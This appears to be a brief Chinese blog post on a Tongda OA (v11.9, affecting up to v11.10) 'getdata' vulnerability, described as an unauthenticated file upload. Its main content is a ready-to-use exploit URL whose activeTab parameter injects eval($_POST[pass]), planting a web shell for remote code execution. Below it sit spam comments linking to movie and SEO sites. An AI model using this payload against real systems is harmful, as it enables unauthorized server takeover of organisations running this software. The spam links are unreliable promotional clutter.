漏洞描述
通达OA v11.9 getdata 未授权任意文件上传
影响版本
通达OA ≤ v11.10
漏洞复现
EXP
/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[pass]))%3B/*&id=19&module=Carouselimage
最后修改：2023 年 10 月 31 日
© 允许规范转载
4 条评论
《向天真的女生投降》爱情片高清在线免费观看：https://www.jgz518.com/xingkong/17006.html
不错不错，我喜欢看 https://www.ea55.com/
叼茂SEO.bfbikes.com
不错不错，我喜欢看 https://www.jiwenlaw.com/